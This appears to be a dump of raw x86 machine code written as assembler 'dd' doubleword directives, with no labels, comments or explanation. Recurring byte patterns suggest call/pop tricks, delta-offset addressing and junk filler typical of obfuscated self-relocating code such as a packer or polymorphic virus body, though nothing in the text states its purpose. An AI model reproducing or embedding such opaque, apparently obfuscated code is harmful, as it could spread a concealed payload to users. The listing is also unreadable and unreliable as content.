		dd 8D56C580h, 143B4E85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 72BC90BBh, 8ADA80DAh
		dd 88099FBFh, 0FD0FF6Ch, 8Eh, 69858900h, 89061418h, 142D9D9Dh
		dd 4985C606h, 44061408h, 0EC6468F5h, 9E8B8F2h, 55000000h
		dd 854D4FFFh, 0C752BCF0h, 2DB5FF59h, 6006140Ch,	19A1858Bh
		dd 81660614h, 61D87DD9h, 858DF48Ah, 6143B4Eh, 0CA80D0FFh
		dd 1585897Bh, 0B061431h, 1406BDBDh, 4985C606h, 43061408h
		dd 19E1BD2Bh, 0A7680614h, 6AC0764Ah, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 939C353h, 140C8D8Dh,	41958906h, 0FF06141Ch, 140C2DB5h
		dd 0BD0B6006h, 61402EDh, 4E858D61h, 8B06143Bh, 89D0FFCAh
		dd 1430C58Dh, 8EB96606h, 7585899Bh, 6A06140Bh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 1F5BC355h, 2E510FDBh, 0B5CA04EFh, 0E7BD807Ah, 616FBh
		dd 0EA840Fh, 9D890000h,	6142411h, 0FBC9858Dh, 0FE8B0616h
		dd 0AC58589h, 60500614h, 16419D8Bh, 0BB660614h,	6A619BD3h
		dd 6A006A01h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 0B174C352h, 325BC362h,	0B840F08h
		dd 0E8000000h, 5, 2E3EA4D5h, 0F78A5A7Eh, 68B0Fh, 958B0000h
		dd 61411E5h, 8D0F006Ah,	0
		dd 97195FFh, 8D8B0614h,	6141BB1h, 7A58589h, 6A0614h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 8D17A2C3h, 0D85A4BF5h, 8BD68B51h, 1430E18Dh,	0FCFF6A06h
		dd 7A5B5FFh, 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 48D281C3h, 194BE240h, 8589FE84h
		dd 614118Dh, 2A8995FFh,	0BD890614h, 6141F91h, 9D89C08Bh
		dd 6141021h, 10F1BD83h,	75000614h, 25BD8309h, 6140Eh, 53501974h
		dd 0D1B8C08Bh, 89000007h, 14181985h, 529D8D06h,	0FF0616A7h
		dd 83585BD3h, 140E25BDh, 17740006h, 0D1B85350h,	89000007h
		dd 14181985h, 419D8D06h, 0FF0616A4h, 66585BD3h,	8D0FF88Bh
		dd 0Ch,	68F0Fh,	8B0F0000h, 0
		dd 2BFDBD8Bh, 0C08B0614h, 4985C6FCh, 47061408h,	1A8160B9h
		dd 0F7C1681Dh, 6A93C8h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0F8F8C6C3h, 391E3A2Ah, 0C88B3A66h
		dd 49950960h, 3306141Bh, 14170985h, 0B5FF6106h,	6140C2Dh
		dd 8DD7B70Fh, 143B4E85h, 33D28106h, 666B176Dh, 0FF307EBFh
		dd 0A58529D0h, 5006141Eh, 0E172CF81h, 33604776h, 141F7585h
		dd 0C5B58906h, 6106141Fh, 0A858Dh, 0FB8B0617h, 0C70BB6h
		dd 94h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h
		dd 61C35747h, 99D0158h,	8D06142Ah, 17000AB5h, 0D1B70F06h
		dd 53006A56h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 8DD0FF91h, 17000A85h, 71D58006h,	6047883h
		dd 13850Fh, 0BD8B0000h,	614231Dh, 9E85C7h, 10617h, 8B660000h
		dd 61BD83CFh, 61403h, 39850Fh, 57B90000h, 66761E86h, 831226BAh
		dd 17009EBDh, 850F0006h, 23h, 0B6A2BF66h, 0D19BD83h, 0F000614h
		dd 1284h, 19D2900h, 0C7061426h,	140F8985h, 6, 66D68B00h
		dd 0B589DB8Ch, 61410B5h, 58C0Fh, 7BBA0000h, 0F674E5F3h
		dd 840F04C3h, 4ABh, 1041958Bh, 85C70614h, 61401CDh, 0
		dd 1B2D9509h, 0BD800614h, 616FBF4h, 1E850F00h, 0E8000000h
		dd 12h,	3066DFCAh, 29DCF81Ah, 131B317Eh, 3D71501Eh, 958BFC60h
		dd 6140759h, 4985C65Ah,	47061408h, 61606060h, 8E9h, 81E2E600h
		dd 40EA5856h, 0D38161B4h, 56A5D9F7h, 0A5B65161h, 5B86685Ah
		dd 0BD8BE3E4h, 614124Dh, 0C2DB5FFh, 9D090614h, 6142D41h
		dd 3B4E858Dh, 9D290614h, 6140C99h, 7ADF8166h, 6AD0FF6Dh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 7863C352h, 0F88B663Dh, 10468h, 65BD8B00h
		dd 8D061425h, 1405319Dh, 0CA8B6606h, 0E6806053h, 8DBD89EBh
		dd 61061411h, 800FD0FFh, 0
		dd 531858Dh, 8D290614h,	6140B29h, 6D8D8B50h, 8D061431h
		dd 16FBA685h, 0CD858906h, 50061402h, 25E9BD8Bh,	5E90614h
		dd 24000000h, 8D815B08h, 0F279858Dh, 8B500616h,	14045595h
		dd 3995FF06h, 0F061412h, 8529C9BFh, 61412F9h, 890CC483h
		dd 14181D95h, 68006A06h, 80h, 6A036Ah, 68006Ah,	8D800000h
		dd 16F27985h, 95FF5006h, 61403D9h, 0FB898589h, 85C60616h
		dd 6140849h, 5E876847h,	0B5FFC7B1h, 6140C2Dh, 3B4E858Dh
		dd 0D0FF0614h, 0B5FF006Ah, 616FB89h, 0B529D0FFh, 6141115h
		dd 9CEF8166h, 3D5951E0h, 37D0h,	3A830Fh, 958B0000h, 6140C29h
		dd 0B5FF7CB5h, 616FB89h, 95FFD58Ah, 6140B75h, 0A198589h
		dd 0F6E90614h, 0F000000h, 1385h, 0EE900h, 4940000h, 8C0252D9h
		dd 0B0C6A2DAh, 25963FECh, 0FB89B5FFh, 31600616h, 1407098Dh
		dd 6D9D0906h, 6106140Dh, 0B7595FFh, 6AF50614h, 91CA8100h
		dd 6A70B7AAh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 0FDF4B38h, 0C81h,	81666000h, 0BBE370CAh
		dd 8FEAE80h, 6A006A61h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0FD3AC357h,	8F60A666h
		dd 4DB3FE3Dh, 0C8B52AB9h, 66006A40h, 4958F281h,	952B006Ah
		dd 6142DA9h, 8950006Ah,	140365BDh, 858D5906h, 616FB8Dh
		dd 8950CE8Bh, 140A1985h, 0D995FF06h, 6A061403h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 9D86C352h, 0FFFF883h, 12D85h, 8BD68B00h, 141CF5BDh
		dd 19858D06h, 660616B7h, 0B50C7CBFh, 0FD0FFD3h,	581h, 0D7816600h
		dd 6A2B44h, 6A87B5h, 68A0Fh, 958B0000h,	61423D9h, 8D8B006Ah
		dd 6140899h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 0D20DADC3h, 0D08A609Ch, 6A006Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0AE67C4C3h, 0E8D98AD4h, 299DD7ECh, 1424E195h, 0E1816606h
		dd 6A5010h, 33C88B66h, 141FA18Dh, 8D858D06h, 890616FBh
		dd 14138995h, 0B1565006h, 95FF5912h, 61403D9h, 10F6BF66h
		dd 0FFFF883h, 6D85h, 0F8D78100h, 8D58776Bh, 16F595B5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 24ADF95Dh, 8D8B7FE7h, 61402FDh, 0D499D31h
		dd 858D0614h, 616A07Dh,	33BE9CBFh, 0E8D0FF54h, 6, 6EE83BFDh
		dd 9D31ED98h, 61419A1h,	57006A5Fh, 51B58952h, 5F06142Bh
		dd 1F2805Fh, 186995FFh,	85890614h, 616FB89h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0EAC35242h, 81421961h
		dd 9F142BE9h, 0E2816618h, 6AB3A5h, 49D3A7BFh, 81858D77h
		dd 660616FBh, 0F699D281h, 7CB96650h, 6A046A33h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 1415C355h, 0D4A99346h, 6BC680EFh, 308D8D89h,	858D0614h
		dd 6143169h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	2DC35343h, 0DD8F00A3h, 30A99509h, 0E9500614h, 0Eh
		dd 27EAA991h, 0FEFA049Fh, 0A3E3AFD2h, 6A201Eh, 6AFB8Bh
		dd 0B7DF8166h, 8B016ACAh, 14205DBDh, 89B5FF06h,	8A0616FBh
		dd 1595FFEFh, 29061431h, 140A4D95h, 1B0AE906h, 8BF80000h
		dd 15830FC0h, 0E9000000h, 10h, 3403FB88h, 0D333920Bh, 1B52885Ch
		dd 12889C7Ah, 10F1BD83h, 75000614h, 25BD8309h, 6140Eh
		dd 53501974h, 0D2B8C08Bh, 89000007h, 14181985h,	529D8D06h
		dd 0FF0616A7h, 83585BD3h, 140E25BDh, 17740006h,	0D2B85350h
		dd 89000007h, 14181985h, 419D8D06h, 0FF0616A4h,	89585BD3h
		dd 140F2D95h, 0D5BD8906h, 0F061425h, 680h, 6DBD8B00h, 8B06141Ah
		dd 0B830FC0h, 0F000000h, 58Bh, 112DBA00h, 85C731A7h, 61401CDh
		dd 1, 0B868CF8Bh, 0FFCEE4E7h, 142B25B5h, 4E858D06h, 0FF06143Bh
		dd 998589D0h, 8D06141Bh, 16FDE585h, 858D5006h, 61700A2h
		dd 16850h, 95FF8000h, 6141B99h,	0A75C00Bh, 1C3185C7h, 10614h
		dd 0D4680000h, 0FFC005DBh, 142B25B5h, 4E858D06h, 0FF06143Bh
		dd 0C98589D0h, 8D061416h, 16F03285h, 0B5FF5006h, 6140C2Dh
		dd 0BCD95FFh, 0C00B0614h, 0D88B0B74h, 0FFE5858Dh, 0FF500616h
		dd 0E5858DD3h, 660616FFh, 75093883h, 0D185C70Ah, 1061416h
		dd 0FF000000h, 140D8595h, 0FF2506h, 0F8830000h,	0C70A7305h
		dd 14156985h, 106h, 8E900h, 0DD240000h,	38137D73h, 6A6DF2h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 85B61C3h, 9E98FD8h, 0F6000000h, 30D0CE97h, 0F9CE3EC4h
		dd 0FBF4BD80h, 0F000616h, 1184h, 83EDB600h, 17009EBDh
		dd 840F0006h, 13h, 61E9D78Bh, 89000019h, 141AE1B5h, 69958B06h
		dd 8306142Ch, 1416D1BDh, 850F0006h, 0BEh, 0FFBF0F51h, 0BE858D5Fh
		dd 0E90616FBh, 0Bh, 7C78EC9Bh, 4E821B2h, 5089D9EDh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0E1C35141h, 56E474EDh
		dd 80D78B66h, 0BF0FD8F5h, 0BA016AC9h, 26276559h, 840F006Ah
		dd 6, 23558D89h, 6A0614h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 53C35545h, 0FDCB42Dh,	0FFF5F8BFh, 14097195h
		dd 65BD0106h, 89061403h, 16FBE885h, 719D8906h, 6A061403h
		dd 3840FFFh, 0F000000h,	0B5FFCBBFh, 616FBE8h, 8876D4BFh
		dd 8995FF5Ah, 0BF06142Ah, 4FCB535Fh, 845950Bh, 858D0614h
		dd 616EFF9h, 36F18152h,	5F74F5F3h, 0B99D8950h, 0FF061420h
		dd 142BDD95h, 89850906h, 0E8061412h, 0Dh, 6FEDEACFh, 6478445Ch
		dd 0C409E118h, 85895F81h, 616F083h, 0B9E1C180h,	56287FFEh
		dd 0F006858Dh, 85890616h, 6141851h, 5052E280h, 46E1F781h
		dd 0B5FF29ADh, 616F083h, 27CBBF66h, 0BCD95FFh, 0EE80614h
		dd 0B1000000h, 93AC74Dh, 0F10E4C8Fh, 0A853FEDDh, 0AE87Eh
		dd 58360000h, 750DCE4Ah, 4DCE5FAh, 3121BD2Bh, 5F5F0614h
		dd 24D58589h, 8D8B0614h, 6141075h, 0F074858Dh, 8D8B0616h
		dd 6140845h, 0B5FFF550h, 616F083h, 19EA8166h, 0CD95FFAEh
		dd 8B06140Bh, 978589FBh, 890616F0h, 142C1DB5h, 13E906h
		dd 0A3990000h, 0C71D424Ch, 687961CAh, 8C50A3BDh, 38D76180h
		dd 53858D26h, 660616F0h, 509BF9BFh, 3A1ACCBAh, 83B5FF6Ah
		dd 0E90616F0h, 13h, 0E32A333Bh,	21BE00ECh, 9908A23Ch, 7401305h
		dd 0FF042660h, 140BCD95h, 9E95006h, 0D0000000h,	1B3F4746h
		dd 6D178251h, 7B58B959h, 8589428Bh, 616F08Fh, 8E9h, 76575D00h
		dd 0F458B092h, 46858D70h, 560616F0h, 14E85AF5h,	7D000000h
		dd 2E79BF97h, 2062FC87h, 0D8DF1CC0h, 9218DF5Ch,	669ED492h
		dd 59A3A3BFh, 0FFD78B50h, 16F083B5h, 21BD8B06h,	8906142Eh
		dd 141FDD8Dh, 0CD95FF06h, 0FC06140Bh, 0F0938589h, 0BF0F0616h
		dd 61858DFAh, 6A0616F0h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 3B22C350h
		dd 66341CE7h, 50C836BFh, 0BA4B23BAh, 83B5FF18h,	330616F0h
		dd 142A31BDh, 0CD95FF06h, 6A06140Bh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 5F72C351h
		dd 158589h, 85890614h, 614047Dh, 3847BEB9h, 15858D64h
		dd 810616F0h, 0A1852ED9h, 501CB24Fh, 65DF8166h,	0C5BD8B90h
		dd 0FF06140Eh, 16F083B5h, 0E2C58006h, 0BCD95FFh, 958B0614h
		dd 6142BF5h, 0F0878589h, 8D0B0616h, 6141FFDh, 0F024858Dh
		dd 95890616h, 61412D9h,	0F5BD2950h, 0FF06140Eh,	16F083B5h
		dd 0D78B6606h, 0BCD95FFh, 85890614h, 6140C4Dh, 0F08B8589h
		dd 6A0616h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 18C1F4C3h, 52EFCCD4h, 60B4C048h, 38A0Fh
		dd 0D8800000h, 3360616Bh, 141ADDBDh, 4686106h, 8A000001h
		dd 1B858DD7h, 660616F1h, 0DCAFCF81h, 0A8D0Fh, 89600000h
		dd 1425858Dh, 61595006h, 30EF8150h, 8D479747h, 16F21F85h
		dd 0E9858906h, 50061415h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0EFC35141h, 1B1CDCDDh, 0FF22B05Ch, 14164595h
		dd 0D2B70F06h, 850FC085h, 3, 80D6BF0Fh,	16FBF4BDh, 850F0006h
		dd 36h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h
		dd 2EC35747h, 6890F67h,	89000000h, 140BF995h, 0C8BF0F06h
		dd 1543E9h, 0A30BBA00h,	0BD836DFDh, 61416D1h, 16850F00h
		dd 66000000h, 0BD83CE8Bh, 617009Eh, 46840F00h, 89000000h
		dd 140DF59Dh, 0B8858D06h, 0B90616F0h, 0AF7F80h,	150BE9h
		dd 33506000h, 141A198Dh, 0EAB15F06h, 37E961h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0F4A6F2C3h, 0A3858DF6h, 30616F0h, 141979BDh,	6890F06h
		dd 89000000h, 142BC58Dh, 9D095006h, 6140AF1h, 0F11B858Dh
		dd 95890616h, 6141A8Dh,	0C88B6650h, 16D1BD83h, 0F000614h
		dd 4F84h, 41858D00h, 0E90616F2h, 10h, 0F13E1106h, 33E936Dh
		dd 0A73228C9h, 9A254204h, 1129B589h, 35E90614h,	6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 0D6B6C355h, 0C1AD8486h, 668DF397h, 0CD35E181h
		dd 0F22A858Dh, 9D290616h, 6140401h, 9DBD8B50h, 8D06140Dh
		dd 16F27985h, 1D8D8B06h, 6606142Ch, 6A50F88Bh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 13F5C357h, 11E96870h, 57000000h, 94E8D1FFh, 0C3E836E5h
		dd 2B18BE99h, 9EDAE0C2h, 123995FFh, 0BD890614h,	61411EDh
		dd 8910C483h, 141A6DBDh, 66C08B06h, 0CAB5EF81h,	10F1BD83h
		dd 75000614h, 25BD8309h, 6140Eh, 53501974h, 0D3B8C08Bh
		dd 89000007h, 14181985h, 529D8D06h, 0FF0616A7h,	83585BD3h
		dd 140E25BDh, 17740006h, 0D3B85350h, 89000007h,	14181985h
		dd 419D8D06h, 0FF0616A4h, 6A585BD3h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 2466C357h
		dd 6850Fh, 958B0000h, 6141559h,	8E9h, 6D9EA800h, 3E8A83EAh
		dd 29C08BB4h, 141BD5B5h, 0A3BD8106h, 6F0616F0h,	0F616572h
		dd 0B084h, 0C5BD8B00h, 8D06140Bh, 16F11B85h, 858D5006h
		dd 616F258h, 79858D50h,	500616F2h, 123995FFh, 0C4830614h
		dd 4985C60Ch, 44061408h, 0A3184F68h, 2DB5FF96h,	8D06140Ch
		dd 143B4E85h, 8BD0FF06h, 79858DD8h, 500616F2h, 858DD3FFh
		dd 616F0A3h, 1B858D50h,	500616F1h, 16D1BD83h, 74000614h
		dd 41858D08h, 0EB0616F2h, 2A858D06h, 500616F2h,	0F279858Dh
		dd 0FF500616h, 14123995h, 10C48306h, 6558D8Bh, 6A0614h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0B0D197C3h, 16921481h, 8B4AB1CCh, 1402EDBDh,	8595FF06h
		dd 8A06140Dh, 0FF25D7h,	13B60000h, 1229BD89h, 0F8830614h
		dd 62830F05h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0CD5EC355h,	16C959CFh
		dd 1659BD09h, 85C70614h, 6141569h, 1, 0E9F5E280h, 0Bh
		dd 0B4F73941h, 600E4FEh, 8D1E73E8h, 16F0D785h, 23506006h
		dd 140C8D8Dh, 85895A06h, 6140721h, 68E961h, 8B660000h
		dd 0D1BD83D1h, 61416h, 1D840Fh,	8D2B0000h, 6142E35h, 4E37B966h
		dd 0F102858Dh, 0B5890616h, 6142961h, 3DE9h, 8DF88B00h
		dd 16F0E485h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 0E8C08025h, 0Eh, 3DF62A3Ch, 9B33DA9Fh
		dd 25CD8C6Bh, 0B70FBDDBh, 85895AFFh, 616F117h, 1FE9BD29h
		dd 0BD830614h, 61416D1h, 3A850F00h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0F5DEC356h, 21E0CFDEh, 1F998D03h, 0BD830614h, 617009Eh
		dd 2F840F00h, 1000000h,	140899BDh, 1156E906h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 4038BC3h, 0A9B7C31Eh, 5EE99CB5h, 6A000004h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 5AD6C353h, 60445605h, 9963BF66h, 7E9h, 0F0065800h, 7207F37h
		dd 0C08BF961h, 1DB5958Bh, 0CA8B0614h, 10F1BD83h, 75000614h
		dd 25BD8309h, 6140Eh, 53501974h, 0D4B8C08Bh, 89000007h
		dd 14181985h, 529D8D06h, 0FF0616A7h, 83585BD3h,	140E25BDh
		dd 17740006h, 0D4B85350h, 89000007h, 14181985h,	419D8D06h
		dd 0FF0616A4h, 0F585BD3h, 1285h, 9E800h, 0FBD80000h, 0E15A6A33h
		dd 66D6FC3Bh, 665AD38Bh, 80A5E781h, 12E18D33h, 0C08B0614h
		dd 8F0Fh, 3F680000h, 6A000F00h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0BE6EC357h,	2BFC1E07h
		dd 608FDCF6h, 0E5804CB7h, 9D29615Dh, 61404EDh, 9D29006Ah
		dd 6141E4Dh, 0EFB9006Ah, 0FF42B750h, 1424D595h,	0F3DF8106h
		dd 855EF7E1h, 6850FC0h,	0B000000h, 143099BDh, 9B858906h
		dd 890616F0h, 141CB59Dh, 66006A06h, 6AD18Bh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 1C35040h, 789BD8Bh
		dd 6A0614h, 34959503h, 6A0614h,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 50C35545h, 0C98144D5h, 301DF69Ah
		dd 14E9006Ah, 0BB000000h, 6FD2BE13h, 673E8F0Bh,	7800D638h
		dd 47E6EEB0h, 8DE0171Fh, 16F27985h, 0DE906h, 0CE9B0000h
		dd 107EA68Ch, 5538BCB6h, 50604BCBh, 4E82BF60h, 13E952E0h
		dd 3B000000h, 5E1E9963h, 591EDECh, 4E90DDDBh, 0AF7FCCC4h
		dd 0F961E8F6h, 830F016Ah, 19h, 14E9h, 1C8CEC00h, 0F6500DEBh
		dd 8384CC9Bh, 8C1043Ch,	0ABE523CEh, 0E9016A8Fh,	5, 0B4255CDEh
		dd 31016A54h, 140A2D95h, 0E5B58906h, 68061403h,	0F01FFh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 8EC35545h
		dd 3F57DC5Eh, 8BF466EBh, 141279BDh, 0DA816606h,	0BD83BC4Ah
		dd 61416D1h, 41840F00h,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 0B9B5C352h,	658D8BF9h
		dd 8D061407h, 16F0F885h, 1D9D0106h, 0E9061430h,	14h, 6880Fh
		dd 9D890000h, 61418F1h,	0F0CE858Dh, 0CA8A0616h,	15952B50h
		dd 5006141Dh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Dh,	35C35646h, 4AF9E0F7h, 63C6555h,	0F1950BECh, 0FF061434h
		dd 16F09BB5h, 0FFF08A06h, 16F08795h, 67E98106h,	8503454Dh
		dd 0A850FC0h, 8A000000h, 30E9E8h, 0B70F0000h, 9F8589FEh
		dd 660616F0h, 0FF9357BFh, 16F09FB5h, 5ABF6606h,	7D95FF22h
		dd 89061404h, 142C4DB5h, 0FC08506h, 585h, 0EEFB900h, 106A5EDCh
		dd 0DC5DB5BAh, 0E4F8BF31h, 0BD830395h, 61416D1h, 28840F00h
		dd 81000000h, 0B473BEEAh, 0F8858D78h, 890616F0h, 142C7585h
		dd 1DE906h, 0E9530000h,	0Ah, 73F1EC42h,	8B0874D1h, 8D5F66F7h
		dd 16F0CE85h, 0EDD18106h, 506094CBh, 0F09BB5FFh, 9D290616h
		dd 6140FCDh, 0F09395FFh, 85890616h, 61416C5h, 850FC085h
		dd 26h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h
		dd 3AC35646h, 1216B0B0h, 23FDB589h, 85890614h, 616F09Fh
		dd 969958Bh, 6A0614h, 0E850006Ah, 3, 58C35820h,	4244489h
		dd 4244481h, 18h, 7EC35040h, 0AE007C86h, 7E9h, 0EFE4BB00h
		dd 1C609D1Ah, 958B006Ah, 61419C9h, 0DBD8D8Bh, 0B5FF0614h
		dd 616F09Fh, 11E9h, 8BD84400h, 8EAF87A7h, 33AABAC0h, 7370846Bh
		dd 95FFABA6h, 616F08Bh,	0CFFF3BBFh, 618D016Dh, 85061430h
		dd 6850FC0h, 23000000h,	142E19BDh, 9FB5FF06h, 8B0616F0h
		dd 140FF5BDh, 7D95FF06h, 8B061404h, 14132195h, 0FC08506h
		dd 1485h, 0AE800h, 9FDE0000h, 6AC7FDB5h, 0B807C8C6h, 0E222BF66h
		dd 0E8006A5Fh, 0Bh, 1F6E797Fh, 648579F4h, 81C57757h, 0A54625DAh
		dd 8068593Ch, 1000000h,	1419F9B5h, 6A036A06h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0AB77C352h, 6F3D8671h, 0DC7EBA2Ch, 123D958Bh, 6A0614h
		dd 0CDF8166h, 53006A11h, 135BD01h, 68590614h, 0C0000000h
		dd 19C5B589h, 0B5FF0614h, 616F117h, 87DB501h, 95FF0614h
		dd 61403D9h, 52B90DBAh,	0CEBF0F20h, 0FFFF883h, 57985h
		dd 0B5296000h, 614313Dh, 0FF61CB8Ah, 16FB8585h,	198C0F06h
		dd 0E9000000h, 14h, 0D73EFF7Eh,	0D3ED066Fh, 805EEA56h
		dd 0E5F46B03h, 6118E456h, 0FB85BD83h, 0F020616h, 3F984h
		dd 0F5852900h, 8D061406h, 5B243B85h, 3A82BF00h,	8E84F50h
		dd 0EB000000h, 0C963EB2Ah, 29D9E148h, 1412ED8Dh, 0D0FF5F06h
		dd 1E8E858Dh, 0D0FF005Bh, 6880Fh, 958B0000h, 6142689h
		dd 4FBAC08Bh, 83008409h, 1410F1BDh, 9750006h, 0E25BD83h
		dd 74000614h, 8B535019h, 7D8B8C0h, 85890000h, 6141819h
		dd 0A7529D8Dh, 0D3FF0616h, 0BD83585Bh, 6140E25h, 50177400h
		dd 7D8B853h, 85890000h,	6141819h, 0A4419D8Dh, 0D3FF0616h
		dd 0C181585Bh, 2176B29Ch, 2C0DBD2Bh, 0EE90614h,	5A000000h
		dd 45AE06DEh, 7038B10Ah, 673D007h, 66C08B29h, 6134C781h
		dd 0F003F68h, 8B0F00h, 0E9000000h, 10h,	38E55E09h, 6EEA86C4h
		dd 0FEF9EC0Ah, 457C6157h, 0C181006Ah, 3E4FC222h, 800F006Ah
		dd 0Ch,	68F0Fh,	840F0000h, 0
		dd 0FFC9B70Fh, 1424D595h, 0FD78A06h, 68Bh, 0DDB50100h
		dd 8506140Ch, 5DBD23C0h, 8906141Ch, 16F09B85h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 0E1314403h, 0F01FF68h, 0DE800h, 94B70000h, 17184A0Ah
		dd 497BC23h, 0FB18B32h,	68Fh, 99958B00h, 5906140Ah, 16D1BD83h
		dd 0F000614h, 4F84h, 5E900h, 0E870000h,	8D7CBA3Ah, 16F0F885h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 1020D2E9h, 0C880F78h, 0F000000h,	68Ch, 800F00h
		dd 0E9000000h, 13h, 0CF8B6660h,	61CAB70Fh, 0F0CE858Dh
		dd 81660616h, 502E81DAh, 252BBA66h, 0F09BB5FFh,	8D0B0616h
		dd 6142B99h, 0F09395FFh, 6A0616h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 8911F5C3h, 16F09F85h
		dd 0BDBD8B06h, 0C7061424h, 142D7D85h, 6, 83E9B600h, 16F09FBDh
		dd 840F0006h, 1C7h, 0B860Fh, 6E90000h, 96000000h, 0EFBBBB27h
		dd 7D858DCBh, 810616F3h, 974475D1h, 6A505Fh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0BB2C5EC3h
		dd 0E2736CCEh, 810FDDCCh, 6, 9F59D09h, 16A0614h, 24B1950Bh
		dd 830F0614h, 2, 0B5FFD18Bh, 616F09Fh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 0D6C35242h,	10DDBD89h, 95FF0614h
		dd 616F097h, 9D8B6051h,	6140B29h, 9FD9589h, 5F610614h
		dd 0F09FB5FFh, 840F0616h, 0
		dd 47D95FFh, 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 0CD7AD2C3h, 53E98133h, 0E84E0CF1h
		dd 5, 0C32A9319h, 11E823h, 610E0000h, 0FE594A55h, 7BAFFAB7h
		dd 1F84685Ah, 89F21B4Ah, 140FA98Dh, 685A5F06h, 0F01FFh
		dd 0A898D8Bh, 0BD830614h, 61416D1h, 1A840F00h, 8B000000h
		dd 0F8858DCBh, 600616F0h, 2A49B589h, 0BF0F0614h, 0EE961FBh
		dd 8B000000h, 0CE858DF8h, 2B0616F0h, 142DC58Dh,	0D68B5006h
		dd 0F09BB5FFh, 0D18B0616h, 0F09395FFh, 0E9500616h, 5, 4DCD444Fh
		dd 8B665A0Bh, 9F8589D3h, 6A0616F0h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 9F3AC356h
		dd 109D4A31h, 9F95ACDFh, 0E9C8BF0Fh, 0Bh, 0A1CA07AAh, 0FA25E2E2h
		dd 0FFE81835h, 16F09FB5h, 719D8906h, 0FF061412h, 16F08F95h
		dd 0F58D8906h, 0FF061407h, 16F09FB5h, 0A5BD8B06h, 0FF06141Bh
		dd 14047D95h, 4DBD2306h, 0E906142Ch, 0FFFFF726h, 11E9h
		dd 0AA53800h, 8F8A7A11h, 403A6CC7h, 957F52E4h, 0B5FFB7E0h
		dd 616FBE8h, 95FFF98Bh,	6140BD9h, 34819589h, 858B0614h
		dd 6141EB5h, 0E9D68B66h, 61Ch, 40D6C781h, 0B58D1DB1h, 616F39Dh
